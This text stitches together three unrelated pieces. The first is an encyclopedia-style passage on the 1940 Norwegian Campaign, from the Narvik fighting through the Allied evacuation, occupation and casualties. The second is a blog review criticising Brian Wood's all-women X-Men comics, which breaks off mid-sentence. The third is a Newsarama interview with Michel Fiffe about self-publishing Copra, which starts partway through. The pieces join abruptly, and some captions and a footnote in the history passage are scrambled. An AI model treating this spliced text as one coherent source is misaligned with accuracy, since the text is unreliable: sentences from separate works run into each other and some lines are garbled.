One of the first problems faced by the Allies was that the command was not unified, or even truly organized. The naval forces in the area were led by Admiral of the Fleet William Boyle, 12th Earl of Cork who had been ordered to rid the area of the Germans as soon as possible. In contrast, the commander of the ground forces, Major-General Pierse Mackesy, was ordered not to land his forces in any area strongly held by the Germans and to avoid damaging populated areas. The two met on 15 April to determine the best course of action. Lord Cork argued for an immediate assault on Narvik and Mackesy countered that such a move would lead to heavy casualties for his attacking troops. Cork eventually conceded to Mackesy's viewpoint.
Mackesy's force was originally codenamed Avonforce, later Rupertforce.[84][85] The force consisted of the 24th Guards Brigade, led by Brigadier William Fraser, and French and Polish units led by Brigadier Antoine Béthouart.[74] The main force began landing at Harstad, a port town on the island of Hinnøya, on 14 April. The first German air attacks on Harstad began on 16 April, but anti-aircraft defences prevented serious damage until a raid on 20 May destroyed oil tanks and civilian houses and another raid on 23 May hit Allied shipping in the harbour.[86]
On 15 April, the Allies scored a significant victory when the Royal Navy destroyers Brazen and Fearless, which were escorting the troop-carrying Convoy NP1, forced the German U-boat U-49 to surface and scuttle in the Vågsfjorden. Found floating around the sinking U-boat were documents detailing the dispositions, codes and operational orders of all U-boats in the Norwegian operational area, providing the Allies with an efficient and valuable tool when planning troop and supply convoys to the campaign in Northern Norway.[87]
After the Allied failure in Central Norway, more preparation was given to the northern forces. Air cover was provided by two squadrons of carrier-transported fighters operating from Bardufoss Air Station, the re-equipped No. 263 Squadron RAF with Gloster Gladiators and No. 46 Squadron RAF with Hawker Hurricanes.[88]
French and Norwegian ski troops, probably on the Narvik front
As part of the Allied counter-offensive in Northern Norway, French forces made an amphibious landing at Bjerkvik on 13 May. The naval gunfire from supporting Allied warships destroyed most of the village and killed 14 civilians before the Germans were dislodged from Bjerkvik.[16][20]
While the Norwegian and Allied forces were advancing at Narvik, German forces were moving swiftly northwards through Nordland to relieve Dietl's besieged troops. The captured Værnes Air Station near Trondheim was rapidly expanded and improved to provide the Luftwaffe with a base from which to support the Narvik sector.[89] As the German forces moved northwards, they also gained control of the basic facilities at Hattfjelldal Airfield to support their bomber operations.[90]
In late April, ten Independent Companies had been formed in Britain, commanded by Lieutenant Colonel Colin Gubbins. On 2 May, four of these companies were formed into "Scissorsforce", under Gubbins, and dispatched to forestall the Germans at Bodø, Mo i Rana and Mosjøen. Although they ambushed the leading German units south of Mosjøen they were outmatched by the German main body and were withdrawn to Bodø, which was to be defended by the 24th Guards Brigade.[91]
Gebirgsjäger advancing northwards near Germanadvancing northwards near Snåsa
As the 24th Guards Brigade moved to Bodø, the destroyer HMS Somali, which was carrying Brigadier Fraser, was bombed and was forced to return to Britain. Gubbins, with the acting rank of colonel, assumed command of the brigade. On 15 May the troop ship MS Chrobry carrying the 1st Irish Guards was bombed, with heavy casualties to the troops, and two days later the cruiser HMS Effingham went aground while carrying much of the equipment of the 2nd South Wales Borderers. Both battalions returned to Harstad to reform and to be re-equipped before setting out again for Bodø.[92]
As the Germans advanced northward from a railhead at Mosjøen, the garrison of Mo i Rana (a mixed force based on the 1st Scots Guards) withdrew on 18 May, too precipitately in Gubbins's opinion. The commanding officer of the Scots Guards, Lieutenant Colonel Thomas Byrnand Trappes-Lomax, continued to retreat despite orders to hold successive positions which, with the delayed arrival of the rest of the brigade, left Gubbins no time to prepare a defensive position at Storjord. The brigade withdrew under heavy pressure across Skjerstad Fjord on 25 May, covered by a rearguard from the 1st Irish Guards and several of the Independent Companies under Lieutenant Colonel Hugh Stockwell.[93]
Luftwaffe The city of Bodø, two years after being bombed by the
In the evening of 27 May Bodø was bombed and strafed by the Luftwaffe. The bombing raid destroyed the recently constructed improvised airstrip, the radio station and 420 of the town's 760 buildings, killing 15 people and leaving a further 5,000 homeless in the process.[94][95]
Gubbins's force was evacuated from Bodø from 30 May to 2 June. During these three days, low cloud prevented the Luftwaffe interfering.[96] The improvised air strip which had been hit during the 27 May air raid fell into German hands, providing the Germans with an air base much closer to the Narvik fighting, and was of great significance for their continued advance northwards.[89][95][97]
On 28 May, two French and one Norwegian battalion attacked and recaptured Narvik from the Germans. To the south of the city Polish troops advanced eastwards along the Beisfjord. Other Norwegian troops were pushing the Germans back towards the Swedish border near Bjørnfjell. However, the German invasion of France and the Low Countries had immensely altered the overall situation of the war and the importance of Norway was considerably lessened. On 25 May, three days before the recapture of Narvik, the Allied commanders had received orders to evacuate from Norway. The attack on the city was in part carried out to mask from the Germans the Allies' intention of leaving Norway.[6][20][47][89] Shortly after the 28 May Allied recapture of Narvik, the city was bombed and heavily damaged by the Luftwaffe.[20]
Luftwaffe Narvik, after bombing by the
Allied withdrawal and Norwegian capitulation [ edit ]
Operation Alphabet, the general Allied retreat from Norway, had been approved on 24 May. Among those who argued against evacuating Norway was Winston Churchill, who later expressed that the decision had been a mistake.[41] The Norwegian authorities were only informed of the decision on 1 June. After a meeting on 7 June at which the decision to carry on the fight abroad was made, King Haakon VII, Crown Prince Olav and the Norwegian cabinet left Norway on the British cruiser Devonshire and went into exile in the United Kingdom.[16][98] Without supplies from the Allies the Norwegian Army would soon have been unable to continue the fight.[41] Both the King and the Crown Prince had considered the possibility of remaining in Norway, but had been persuaded by the British diplomat Cecil Dormer to instead follow the government into exile.[40] The Crown Prince suggested that he should remain and assist the Administrative Council in easing the effects of the occupation, but due to the King's old age it was decided that they both had to go into exile, in order to avoid complications should the King die while abroad.[99] By 8 June, after destroying rail lines and port facilities, all Allied troops had been evacuated. The Germans had launched Operation Juno to relieve pressure on the Narvik garrison and, after discovering the evacuation, shifted the mission to hunt and subsequently sunk two British destroyers and the aircraft carrier Glorious. Before the British warships were sunk, however, the destroyer Acasta torpedoed and damaged Scharnhorst. Shortly after the encounter the British submarine HMS Clyde intercepted the German ships and torpedoed Gneisenau, causing severe damage.[6]
The Norwegian forces on the mainland capitulated to the Germans on 10 June 1940. Units fighting on the front had been ordered to disengage in the early hours of 8 June. Fighting ceased at 24:00 on 9 June. The formal capitulation agreement for forces fighting in mainland Norway was signed at the Bristol Hotel in Trondheim at 17:00 on 10 June 1940. Lieutenant Colonel Ragnvald Roscher Nielsen signed for the Norwegian forces, Colonel Erich Buschenhagen for the German side.[16][100] A capitulation agreement for the Norwegian forces fighting at Narvik was also signed the same day, at Bjørnfjell. The signatories of this agreement, the last local capitulation of Norwegian troops during the campaign, were General Eduard Dietl for the Germans, and Lieutenant Colonel Harald Wrede Holm for the Norwegians.[101] The 62-day campaign made Norway the country to withstand a German invasion for the longest period of time, aside from the Soviet Union.[102]
Occupation [ edit ]
With the capitulation of Norway's mainland army a German occupation of the country began.[47] Although the regular Norwegian armed forces in mainland Norway laid down their arms in June 1940, there was a fairly prominent resistance movement, which proved increasingly efficient during the later years of occupation. The resistance to the German occupation began in the autumn of 1940, steadily gaining strength and becoming better organized. Despite the Gestapo infiltrating and destroying many of the early organizations, the resistance movement survived and grew. The last year of the war saw an increase in sabotage actions by the exile government-aligned Norwegian resistance organization Milorg, although the organization's main goal was to retain intact guerilla forces to aid an Allied invasion of Norway. In addition to Milorg, many independent, mostly communist, resistance groups operated in occupied Norway, attacking German targets without coordinating with the exiled Norwegian authorities.[103][104]
The civilian side of the German occupation of Norway was organized through the establishment of the Reichskommissariat Norwegen, led from 24 April by Josef Terboven.[16] The Germans attempted to make the exiled Norwegian authorities irrelevant, especially targeting the King. Weeks after the end of the Norwegian Campaign the Germans pressured the presidency of the Norwegian parliament to issue a request that Haakon VII abdicate. On 3 July Haakon VII turned down the request, and on 8 July gave a speech on BBC Radio proclaiming his answer. "The King's No", as it became known, encouraged resistance to the occupation and the Norwegian collaborators.[16][105] The Administrative Council, appointed by the Norwegian Supreme Court on 15 April to stand in for the Norwegian government in the occupied territories, functioned until 25 September. After that date the Norwegian partner of the occupying Germans was the fascist Quisling regime, in one form or another.[38]
The Royal Norwegian Navy and Royal Norwegian Air Force (RNoAF) were re-established in Britain – based on the remnants of forces saved from the Norwegian Campaign.[106] The forces soon saw extensive combat in the convoy-battles of the North Atlantic and in the air-war over Europe. The ranks of the Navy and Air Force were swollen by a steady trickle of refugees making their way out of occupied Norway, and their equipment brought up to standard by British and American aircraft and ships. From a force of 15 ships in June 1940, the Royal Norwegian Navy had expanded to 58 warships by the end of the Second World War in Europe. The ships were manned by around 7,000 crew members. In all 118 warships had been under Norwegian command at one time or another during the war years.[25][106]
Norwegian squadrons flew with the RAF Fighter and Coastal Commands. The Norwegian-manned 331 Squadron and 332 Squadron operated Hawker Hurricane and Supermarine Spitfire fighter aircraft. The naval 330 Squadron and 333 Squadron flew Northrop N-3PB patrol bombers, Consolidated PBY Catalina and Short Sunderland flying boats and de Havilland Mosquito fighter bombers. Individual Norwegians flew with British air units. In November 1944 the Royal Norwegian Naval Air Service and the Norwegian Army Air Service, having been under a unified command since March 1941, were amalgamated to form the RNoAF. At the end of the war some 2,700 personnel served in the RNoAF.[25][107]
A c. 4,000 strong Norwegian Army was also re-established in Scotland. However, with the exception of a small number of special forces, it saw little action for the rest of the war. A reinforced company from the Scotland-based Norwegian Army participated in the liberation of Finnmark during the winter of 1944–45. Finnmark and the northern parts of Troms county had been forcibly evacuated by the Germans in a scorched earth operation following the Petsamo–Kirkenes Offensive by the Red Army against occupied Finnmark in October 1944. The offensive had captured the north-eastern town of Kirkenes from the occupying German forces. After the arrival of the 300 troops from Scotland, further troops were moved in from Sweden and mobilized locally. At the end of the war, the Norwegian forces in Finnmark totalled 3,000. In the course of this operation, there were some minor skirmishes with German rear guards and patrols.[25][108]
In neutral Sweden there was also a Norwegian build-up of forces in the last two years of the war through the so-called "police troops" established with the support of Swedish authorities. The term "police" served as a cover up for what in reality was pure military training of a force mustering around 13,000 well trained and equipped troops by VE-day. In 1945 around 1,300 "police troops" took part in the Liberation of Finnmark.[109]
Aside from the regular Norwegian forces, the main armed resistance movement in Norway, the exile government-controlled Milorg, fielded some 40,000 combatants at the end of the war. In November 1941 Milorg had been declared by the exiled Norwegian government to be the fourth branch of the Norwegian Armed Forces.[25][103]
Casualties and material losses [ edit ]
German [ edit ]
Germans wounded at Narvik being repatriated to Germany on board the hospital ship Wilhelm Gustloff
The official German casualties for the Norwegian Campaign totalled 5,296. Of these 1,317 were killed on land, while 2,375 were lost at sea. 1,604 were listed as wounded.[110][111]
The German losses at sea were heavy, with the sinking of one of the Kriegsmarine's two heavy cruisers, two of its six light cruisers, 10 of its 20 destroyers and six U-boats. With several more ships severely damaged, the German surface fleet had only three cruisers and four destroyers operational in the aftermath of the Norwegian Campaign.[6][112] Two torpedo boats and 15 light naval units were also lost during the campaign.[113] Two German battleships and two cruisers were damaged during the campaign.[114]
Official German sources give the number of German aircraft lost during the Norwegian Campaign as 90, with other estimates by historian François Kersaudy ranging as high as 240.[113]
In transport ships and merchant vessels, the Germans lost 21 ships at 111,700 tons, around 10% of what they had available at the time.[115]
Norwegian and Allied [ edit ]
British wounded being treated at a hospital in Namsos by British and French medical officers and a Norwegian nurse
The Norwegian and Allied casualties of the Norwegian Campaign totalled around 6,602. The British lost 1,869 killed, wounded and missing on land and approximately 2,500 at sea, while the French and Polish lost 533 killed, wounded and missing. On the Norwegian side there were around 1,700 casualties, of whom 860 were killed. Some 400 Norwegian civilians were also killed, mostly in German bombing raids.[110] Around 60 of the civilians killed were shot by German soldiers during the fighting in Eastern Norway, many in summary executions.[116]
On the naval side of the Norwegian casualties, the Royal Norwegian Navy, fielding 121 mostly outdated ships at the outset of the German invasion, was virtually wiped out during the campaign. Only 15 warships, including a captured German fishing trawler, with some 600 men had managed to evacuate to the United Kingdom by the end of the fighting. The remaining Norwegian naval vessels were sunk in action, scuttled by their own crews, or captured by the Germans. Among the warships sunk in action during the campaign were two coastal defence ships and two destroyers. Seven torpedo boats were also sunk or scuttled, while the remaining ten were captured by the Germans. Only one of the nine Norwegian submarines managed to escape to the United Kingdom, the other eight being scuttled or captured.[106][117] Some 50 captured Norwegian naval ships were over time pressed into service by the Kriegsmarine.[113]
The British lost one aircraft carrier, two cruisers, seven destroyers and a submarine but with their much larger fleet could absorb the losses to a much greater degree than Germany.[6]
The French Navy lost the destroyer Bison and a submarine during the campaign, and a cruiser severely damaged. The exiled Polish Navy lost the destroyer Grom and the submarine Orzeł.[6][113]
While the British lost 112 aircraft during the campaign, the Norwegians lost all their aircraft except a small number that were successfully evacuated to the United Kingdom or flown to neutral Finland.[115]
The combined total loss of merchants ships and transports for the Allies and Norwegians was around 70 ships.[115]
Analysis [ edit ]
The operation as planned was a decisive success for Germany. Both Denmark and Norway were occupied. Surprise was almost complete, particularly in Denmark.[112]
At sea the invasion proved a significant setback. For the Kriegsmarine the campaign led to crippling losses, leaving the Kriegsmarine with a surface force of one heavy cruiser, two light cruisers and four destroyers operational. This left the navy weakened during the summer months when Hitler was pursuing plans for an invasion of Britain.[6][112]
The greatest cost of the campaign on land came in the need to keep most of the invasion troops in Norway for occupation duties away from the fronts. On the whole the campaign was a costly enterprise with limited benefit for the victor.[6][118]
Through the Norwegian government's Nortraship system, the Allies also gained the services of the Norwegian merchant navy, the fourth largest in the world. The 1,028-ship strong Nortraship was established on 22 April at a government meeting at Stuguflåten in Romsdal. The Nortraship fleet consisted of some 85% of the pre-war Norwegian merchant fleet, the remaining 15% having been in Norway when the Germans invaded and been unable to escape. The Nortraship vessels were crewed by 27,000 sailors. In total 43 free Norwegian ships were sunk during the Norwegian Campaign, while another 29 were interned by the neutral Swedes.[16][119][120][121] Nortraship gave the Norwegian government-in-exile economic independence and a basis for continued resistance from abroad.[121]
The Allies achieved a partial success at Narvik. The Germans had destroyed much of the port facilities there before their loss of the city on 28 May.[6] Shipping from the port was stopped for a period of six months, although the Allies had believed it would be out of operation for a year.[122]
The German occupation of Norway was to prove a thorn in the side of the Allies during the next few years. Bombers based at Sola had a round trip of about 920 km to Rattray Head in north-east Scotland, instead of a round trip of about 1,400 km from the nearest airfield on German soil (the island of Sylt), while the east of Scotland and coastal shipping suffered from bombing raids, most from Norway, until 1943. After the fall of Norway, Scotland (especially the fleet bases at Scapa Flow and Rosyth) were seen as much more vulnerable to a diversionary assault by air- and sea-borne troops. German commerce raiders used Norway as a staging base to reach the North Atlantic. After Germany invaded the Soviet Union in 1941, air bases in Norway were also used to interdict the Allied Arctic convoys there, inflicting painful losses to shipping.[6]
In fiction [ edit ]
References [ edit ]
Notes
^ Operation Weserübung, as part of common military Übung means "exercise" in German., as part of common military disinformation procedure, was codenamed after the Weser River in Germany, whilemeans "exercise" in German. ^ At the time, the Royal Navy classified the Scharnhorst-class battleships as battlecruisers.
Citations
Bibliography [ edit ]
Further reading [ edit ]A very slightly different version of this post first appeared at The Middle Spaces.
At the end of last year, Orion Martin wrote a piece for The Hooded Utilitarian entitled, “What If the X-Men Were Black?” that argues that the metaphor of Civil Rights issues as persecuted mutants fails, or that at the very least the elasticity of the mutant metaphor to cover race, gender, sexuality, ethnicity means that it’s susceptible to appropriation and undermines any ability to productively comment on those social issues. Impressed by this essay, I thought it would be interesting to look again at the first arc of Brian Wood’s recent X-Men series, which features a much hyped team of all women and see what the result might be of a mutant superhero group in which the persecution metaphor might be peeled away due to the fact that all the team members are women, in favor of a more direct reflection on issues facing women, both as members of the X-team, but also as characters who ostensibly directly represent a real-world (albeit diverse and far from monolithic) political identity.
Marvel’s X-Men has a decent history of including women in its super-teams, sometimes even in the role of leader. You have to ignore the original X-Men where Marvel Girl (aka Jean Grey) was the only woman, but later, Jean would be joined by Storm, and then Kitty Pryde, Rogue, Rachel Summers, Psylocke, Dazzler, Jubilee, and so on… The New Mutants had Wolfsbane, Karma, Dani Moonstar, Magma. Various forms of X-Factor and X-Force all had women team members. In fact, take Dazzler and Jean Grey out of that first list and you have the core of Wood’s X-Women team, but that record of including women is still only good in relation to the rest of superhero comics. There are still a ton of more men in the X-Men than women, and aside from Storm and Jubilee, the most popular X-Women have all been white…
Racial Aside #1: Psylocke complicates the “white women” aspect of this analysis, but in a way that highlights the deep problems with representations of race and ethnicity in superhero comics. I never gotten over her 1989 transformation from Captain Britain’s big-haired hippie sister into hottie Asian ninja in butt-floss. My complaint about Psylocke is not the race-bending—I am all in favor of black Human Torch or Heimdall and support people’s desire to see an Asian-American Iron Fist—but that her transformation was written into the X-narrative to fulfill the dual fetish of the Asian woman and the exotic ninja killer trope is egregious. She just looks “Asian.” (Well, kind of. There was also some kind of genetic manipulation of the body afterwards or something. Who can keep this stuff straight?) She is literally an Anglo woman whose mind has been put in an Asian woman’s body with no connection to any form of Asian culture or family or community, except in the most facile way that being a “ninja” makes that the case.
Racial Aside #2: Bling! (yes, the exclamation point is part of her name) is a queer African-American student and X-Man in training at the school during this series. However, her crystalline appearance obscures any physical racial markers, and more troubling, her codename and backstory (she is the daughter of a famous rapper couple) become the primary way race is encoded on her.
So with that history of better than average—but not good enough—representation of women in X-Men comics and of the team itself being used as a metaphor for disenfranchised groups, it seems fair to judge this X-Women comic with that in mind, and as such, I can say with some confidence, that it fails. Furthermore, if a focus on a new team of women characters was to any degree supposed to attract new readers—more women and/or folks intimidated by the steep learning curve of 50 years of continuity who might see this as a fresh start—it totally fails on that account as well.
I first picked up these issues of Wood’s X-Men not only because I was interested in the representation of women in this comic, but mostly because Rogue, Kitty, Storm and Rachel are sentimental favorites of mine. The height of my collecting X-Men was in the 1980s, and if you don’t count the handful of issues of Grant Morrison’s early New X-Men run (in 2001) that I quickly got rid of, I bought no X-Men comics between 1988 and 2004 when Whedon and Cassaday’s Astonishing X-Men series came out (a series that managed to capture something akin to my memory of the X-Men’s voices from the 1980s—as opposed to the Claremont-reality, which in returning to those early issues I found to not be as good as I remembered), and those 80s comics shaped what I consider my ideal and “most authentic X-Men.” I don’t know from Gambit or Bishop or Jubilee or whoever. That said, despite my fragmentary knowledge regarding 1990s X-Men, I do not count myself as a total neophyte regarding the comics’ characters and major tropes. I’ve managed to glean some info from that era via friends and Wikipedia, and yet in reading this series I found myself struggling to follow what was going on, what was at stake, and why I should care. It’s not hard to imagine that someone totally new to the comics would have been even more lost.
I am not one to complain about the frequent re-booting of numbers in contemporary superhero comics. Personally, I’d prefer for all on-going titles to be series of varying lengths—volumes bound together by time period and or theme, and creative team. I think this would help overcome the crippling burden of continuity, make comic stories easier to organize, and most importantly provide frequent places for new readers to jump on. What is the point of starting a new series with a new number one, if the very first arc is so enmeshed in established continuity that the reader is struggling to catch up with stuff that happened years before in some other version of the series? This is especially the case when the guest star/villain is someone that is basically an obscure character that does not have connection to the iconic stories of X-Men past that might have some reach beyond the die-hard comic fans. Back in the height of my collecting days as a kid, Jim Shooter, Marvel’s editor-in-chief, enforced the philosophy that every comic was potentially someone’s first, and as such writers should write with that in mind. I am not suggesting that we need to go back to the days where a page or two of every issue is dedicated to re-cap, but I do think that, if all that “Marvel NOW!” bullshit is going to really mean anything, any new series needs to make an effort to introduce characters and situations. And I do think it is bullshit, because let’s face it, the urge to completism is what pushes modern comic marketing—own the whole series, own all the variant covers, get the collected trades if you miss something, so that you can understand what happens next. The reason folks complain about the rebooting of numbers, is not so much the numbers themselves, is because despite the editorial lipservice to creating places for new readers to jump on, the re-numbering is about manipulating the collecting culture’s penchant to obsessively pick up first issues despite the harsh lessons of the 1990s comic market collapse. The weak effort of these Marvel NOW! issues and series to actually introduce characters and create something of a fresh start (at least narratively) just reinforces that Marvel is more interested in wringing out every last sale from current readers than finding new ones. It is a classic case of diminishing returns.
There is no effort in this “new” series to establish the characters, but even worse there is no effort to establish or explain why this particular iteration of X-Men…X-Women…exists. It seems like these characters just happen to be the ones who are around when Jubilee calls to say she needs help. If anything, the fact that Jubilee’s problem includes a baby she has recently adopted and is responsible for, suggests that her entre into maternity is what makes this a case for the women of the X-team.
Jubilee is being pursued by John Sublime… Who? Some villain from the X-Men’s past we are told is immensely powerful and dangerous, but if you don’t know who John Sublime is (and I had never heard of him), there is no sense of what he is really capable of, what he has done in the past, and what is at stake in potentially trusting him when he claims to have arrived not to hurt Jubilee, her baby or the X-Men, but to warn them of a new threat. I used Google to look up Sublime’s history and found his backstory to be nauseatingly convoluted and kind of stupid. Stupidity I can handle. These are superhero comics after all, but without any real introduction his presence loses any impact it might have to all save the most informed X-Men fan. I guess he is some kind of hyper-evolved sentient bacteria that can possess people and has psychic powers? Maybe? Actually, even after reading the comic I am not sure what his powers are, because even though he ends up allying with the X-Men, he is never depicted using them.
The new threat to which Sublime has come to warn the X-Men is his sister, Arkea (I didn’t know bacteria had sibling relationships or identified as a particular genders—like I said stupid—but I am willing to overlook this), except she doesn’t possess people, she possesses machines. That is, except for Jubilee’s baby. She hitches a ride on him, but this is never explained.. I guess it is possible that this baby has a neuro-prosthetic device that allowed Arkea to possess him, since he comes from a hospital where we are told that work is done, but again, it is not explained. In fact, a simple three-issue arc can’t even keep the effects of the possession on the baby (Shogo) straight. Sublime tells Jubilee in issue #3 the reason the baby has been asleep the whole time is because of the possession, but we are shown the baby awake in a panel in issue #1 when he is ostensibly still possessed.
There are several things like this in the narrative—small details that seem to be explaining something, but that only lead to more questions. For example, I guess Rogue can’t fly anymore without absorbing someone else’s power to do so, but still has super-strength and invulnerability? I am sure some X-Men superfan would be able to explain it to me, and a reference to Northstar suggests he was the source of her flight and speed, but since Northstar doesn’t actually appear in the comic, it remains unclear. Again, I can imagine that an X-Men neophyte would really have no idea what that meant despite this being an introductory issue.
Arkea is mostly a direct threat through her possession of Karima Shapandar. Who? This is another character I had never heard of and whose history as an “Omega Sentinel” is deeply convoluted. So, we have a new foe who wants to take over the world who is connected to one former villain turned temporary ally, to another one-time villain turned ally who was in some kind of coma in Beast’s lab until possession by Arkea wakes her up. We are told that Karima the Omega Sentinel is also very dangerous, but since we are simply told all of this in a way that mostly relies on previous knowledge, there is little sense of what is at stake in this story-arc except the most generic idea of Arkea “dominating the world.” Oh, and I guess Karima is their friend, so the X-Men are reluctant to harm her body even though her brain is likely dead.
It is certainly possible that some, if not all of these omissions and poor plotting and characterization are addressed in later plot arcs in Wood’s X-series, but I wouldn’t know because I gave up after the first three issues. There was nothing that made me want to keep up with it, and I am confident that a new reader drawn to a point where in theory they could jump on would likely feel the same way. In fact, I would go as far to argue that this would be especially true of a reader drawn to the ostensible appeal of an all-women X-team, since there is never any effort to make this iteration of the team cohere except as the most cynical sales ploy that is only notable on the meta-level. And if it were to bomb, well then editorial would have an example of an all-women comic that failed to point to when explaining that they just don’t sell—rather than examining their own publishing practice and the flaws in the story-telling (See the recent Fearless Defenders series for another example).
The only saving grace of these three issues is the art by Olivier Copiel and a team of inkers and colorists. In particular, I enjoy the depiction of a scene in issue #2, where Rogue smashes her way into Beast’s lab and seems to break through the panels to evoke her strength and sudden arrival. Generally, speaking the women in these issues are not drawn in the awkward positions meant to display all their physical assets at once, leading to ridiculous contortions, and even Psylocke is drawn with a different uniform from her purple butt-floss ninja classic. I like Rachel Summers Final Fantasy-inspired long red leather coat as well. But there is still some of the typical comics cheesecake, like Akrea/Karima’s semi-supine form when she first awakens or the way Psylocke seems to stick out her butt when she uses her psi-bow, or whatever it’s called. Some of the action sequences are also well-conveyed by the art, though, especially the train derailment sequence in the first issue.
But the art is not enough—at least not by the standard of the first full story-arc (and that seems fair)—to make this series compelling. Perhaps I should not be surprised given Brian Wood’s characterization of the project in an article about the series from USA Today. He says: “I feel like as far as the X-Men go, the women are the X-Men. Cyclops and Wolverine are big names, but taken as a whole, the women kind of rule the franchise.” This could indicate the potential for an interesting take. It brings up the question: why are Cyclops and Wolverine the big names, if the women on the team seem to be the backbone of the franchise? A good series might take up that question more explicitly. Instead, what we get is a series more in line with the second part of his quotation from the news story, “[I]t’s the females that really dominate and are the most interesting and cool to look at. When you have a great artist drawing them, they look so amazing and always have.” Wood gives no indication what makes these women so “interesting,” except perhaps his assertion that they are “cool to look at” and “look so amazing.” When it comes down to it, it is only their appearance as women that makes them interesting in his eyes, not their social position as women in the X-world, or these particular individual characters. They are defined only by their appearance and their sexuality (he makes sure to discuss the potential promiscuity of the characters). Perhaps it shouldn’t come as a surprise given the accusations against Wood by female comics creators, but even if that weren’t the case, I can’t imagine the attitude he displays being all that different from other comics writing dudes, except perhaps that he tries to couch it as liberating to women—as some would say, he is the classic “fake feminist.” Wood seems able to spout the platitudes about how “Most [comics] are written and drawn from a very male point of view, pandering to the largest demographic of readers, and at times with a sexist point of view, with lots of T&A and so on,” but with the inability to see how his own work may fall in line with that tendency as well.
Looking through the list of people who’ve written X-Men comics, I see no women on that list, and while having a woman doing the writing is by no means a guarantee of a good comic, if the women of |
’s Suicide Squad about a team of villains forced to work for the government – only with more psychedelic dimensions, surreal villains and mad twists than even that all-time classic had to offer, with heaps of giant sound effects, experimental pages, and visual hommages to all manner of great 1980s comics (you can also check out Fiffe’s Suicide Squad fan comic “Deathzone” here).
With Copra #12 wrapped, we talked with Fiffe about his accomplishment – and got a ton of great comic recommendations in the process.
Newsarama: Michel, you've written, penciled, inked, colored, lettered and published 12 issues of a monthly comic book. How does that feel? How are you doing? Mentally, have you cracked yet?
Michel Fiffe: I was hoping to crack by the end of it, but no such luck. It did feel like a marathon, though, and I can say that I got through it by not thinking about the race but by simply moving. Things needed to get done, so I had no time to ruminate.
Nrama: Why the hiatus?
Credit: Michel Fiffe
Fiffe: Why the hiatus? Because I need to take a moment to plan more stories and catch up on other projects... and I just wanted to live like a human being, man. Since this is a one man operation, from the drawing to the shipping to the customer service, no hiatus would result in me being truly exhausted and in hacked out, shitty comics. The world has enough of that. It's been scientifically proven that shitty comics need not exist.
Nrama: Over the course of the 12 issues, which characters came to be your favorites to write and draw?
Fiffe: Sonia is the main mouthpiece, the team leader, the one I can speak through easily. But I also really enjoyed writing Man-Head, whose life I summarized in a couple of issues. I aim to do that to most of the major players, actually. Drawing them? I like them all, no joke. I like the variety of a team book.
Nrama: How do you feel this experience forced you to evolve, as a writer, artist and...well, everything? Do you have a renewed appreciation for the process of putting a comic together by "committee?" For that matter, what do you feel is particularly unique in the vision of a comic done by someone who's a writer/artist, as opposed to one or the other?
Fiffe: I've always respected what went into "committee" made comics - even participated in a few - but I excel when being left alone. Thing is, my inspiration largely stems from work produced under that factory style system, but waiting for any sort of permission to move forward would've killed Copra.
The one thing I found crucial is that I get to move faster if I'm making all of the decisions as opposed to checking in with anyone. That may sound obvious, but I mean every last decision is up to me. I decide how fast I should produce, how efficiently, how intensely I work. Waiting for even a single step would've stalled things too much. The only things I had to wait around for were my proofreader and the printer's delivery; both were terribly quick.
Credit: Michel Fiffe
Nrama: Looking back, what do you feel was most successful about your experience with the first run of Copra? What do you feel you would have done differently?
I got to do an action comic the way I thought it should look, written in a way I though it should read, and making it specifically tied in to the comic storytelling idiom. Not the familiar character nods, but the storytelling tools specific to comics. There's almost nothing quite as dull as a comic that wants to look like a movie. What a remarkable waste of everyone's time that is. I wanted to create an experience unique to comics by way of a superhero story.
If I could've changed anything, though, it would've been to up the print run considerably. I did not see the tide of interest coming. I was making comics for the few folks already familiar with my work. Selling out of issues sucked; it's not as romantic the headlines make it out to be. I wanted to get books in people's hands!
Nrama: Also, what was the biggest challenge in distributing Copra outside of traditional comic shops -- a few picked up on it, obviously, such as Chapel Hill Comics where I got my fix, but what were the difficulties in making people aware of the book, and getting it out there? Do you see yourself doing things differently for future releases?
Fiffe: Less than a handful of retail stores backed Copra from day one: Bergen Street Comics, Floating World, Zanadu Comics, and Mission: Comics & Art.
Credit: Michel Fiffe
Their help was immense when I started out. From that point on, it was word of mouth, it was social media at work, it was people asking their stores for the book. It didn't go through Diamond, it wasn't published by a reputable publisher.
It was me making a comic and people liking it; simple as that. I personally e-mailed stores, some took, some didn't, but I was too busy to expand my reach. Bergen Street Comics stepped in and started publishing the compendium reprints, so that bumped it to another level.
I'm convinced that readers just need to be aware of the book to get into it, but sometimes that means having that book physically in stores, right in front of people's faces. That's my aim, to get a minute of every store's time; they'll see Copra is a book they can get behind.
Nrama: What advice would you give someone trying to create/publish their own book, and what was the best advice you received when putting this together?
Fiffe: Any advice would be biased, as my experience is very specific. Far be it from me to offer potentially destructive nuggets of advice, to wit, I took a huge risk; it's not my place to demand that from anyone else. Oddly enough, the best piece of advice given to me was to simply take the plunge and start self-publishing.
Credit: Michel Fiffe
Nrama: What comics/creators have you enjoyed over the past year?
Fiffe: It's been a busy year so I haven't read as many comics as I normally do. But the few I have include Lee Weeks drawing 3 parts of Daredevil in the snow; it was gorgeous (but could've been a tight single issue, story-wise). Oily Comics put out great stuff pretty consistently, like Chuck Forsman's Teen Creeps, but my absolute favorite is Real Rap by Benjamin Urkowitz. I hunted those things down whenever I'd miss one. I suck, I should've subscribed.
Youth In Decline released two real badass Frontier comics: Uno Morales and Hellllllen Jo. Those two are my favorite artists right now, god stab their eyes. I really dug Ed Piskor's Hip Hop Family Tree,which I preferred to read in print and not on screen. Conversely, I preferred Tom Scioli's web version of Satan's Soldier. The screen really highlights the warped technicolor aspect of the strip. Either way, a fun read. Speaking of amazing webcomics, Connor Willumsen continually makes them. Newsarama readers may recognize him from his Punisher one-shot a while back
I'm a big sucker for anything by Dieter VDO. He's a treasure. Angie Wang is such a great artist and her color work is an inspiration. Same goes for Dash Shaw; New School took it a level further. Giannis Milonogiannis can do no wrong, except have a tumblr that drives me nuts with envy. I'm the first to champion a writer/artist, so I really, really tried to get into Aaron Kuder's Superman issue. Liked the cover, liked the art. Lala Albert draws the best profiles. Chris Mooneyham draws the best under-nose shadows. Brett Lewis and Cliff Chang did a short story in that Witching Hour anthology. Chang's scratchy side is a nice welcome and Lewis... well, Lewis is one of comic's best writers. Was he blacklisted or something? That guy can write anything and I'd be on board. Give that man an Avatar book.
Credit: Michel Fiffe
